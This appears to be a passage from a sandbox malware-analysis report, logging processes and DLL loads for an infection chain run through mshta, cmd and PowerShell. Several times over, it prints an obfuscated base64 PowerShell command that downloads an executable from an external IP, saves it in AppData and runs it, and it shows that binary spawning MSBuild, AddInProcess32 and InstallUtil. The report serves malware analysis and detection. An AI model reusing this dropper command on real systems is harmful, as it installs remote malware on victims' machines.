Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC9F.tmp" "c:\Users\user\AppData\Local\Temp\ge3s1wmx\CSCB36078EA61014130AC1261969F8319D.TMP"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ofvwqfjd\ofvwqfjd.cmdline"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC41B.tmp" "c:\Users\user\AppData\Local\Temp\ofvwqfjd\CSC42CCF8E8871B428699CAD148D9BC26FF.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\installutil.exe"	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\system32\cmd.exe" "/c POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe POWERsHElL.exe -ex BypAss -nop -w 1 -c DEViCEcReDEnTiaLdEPLOYmEnT ; IEx($(Iex('[SysTem.tEXt.ENCoDINg]'+[CHar]0x3A+[ChaR]58+'Utf8.GEtStRING([sYSTem.COnverT]'+[CHAr]0X3A+[CHAr]0x3A+'fRoMbASe64strinG('+[Char]34+'JDF6SUdOc3cgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBhZEQtdFlwRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtbUVNYmVyZGVmaU5JVElvbiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAnW0RsbEltcG9ydCgidXJsbW9uIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQ2hhclNldCA9IENoYXJTZXQuVW5pY29kZSldcHVibGljIHN0YXRpYyBleHRlcm4gSW50UHRyIFVSTERvd25sb2FkVG9GaWxlKEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByTVh2eVRsVnFGLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBvLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQQ2csdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBrRnZHWHFFdGdOLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBIeCk7JyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTkFNRSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiZGIiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgeUFqVFB0cCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQxeklHTnN3OjpVUkxEb3dubG9hZFRvRmlsZSgwLCJodHRwOi8vMTA3LjE3My4xNDMuNDYvVDI1MDdGL2NzcnNzLmV4ZSIsIiRFbnY6QVBQREFUQVx3aW5pdGkuZXhlIiwwLDApO1N0QXJULXNMZUVwKDMpO3NUQVJUICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICIkRW5WOkFQUERBVEFcd2luaXRpLmV4ZSI='+[CHAr]34+'))')))"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\ge3s1wmx\ge3s1wmx.cmdline"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\user\AppData\Roaming\winiti.exe "C:\Users\user\AppData\Roaming\winiti.exe"
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RESC9F.tmp" "c:\Users\user\AppData\Local\Temp\ge3s1wmx\CSCB36078EA61014130AC1261969F8319D.TMP"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\msbuild.exe"	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"	Jump to behavior

Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Section loaded: ucrtbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: shcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rpcrtremote.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: winbrand.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rpcrtremote.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: webio.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: nlaapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcrypt.dll
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Section loaded: bcrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Section loaded: ucrtbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\winiti.exe	Section loaded: ext-ms-win-kernel32-package-current-l1-1-0.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64win.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: wow64cpu.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Section loaded: shcore.dll	Jump to behavior
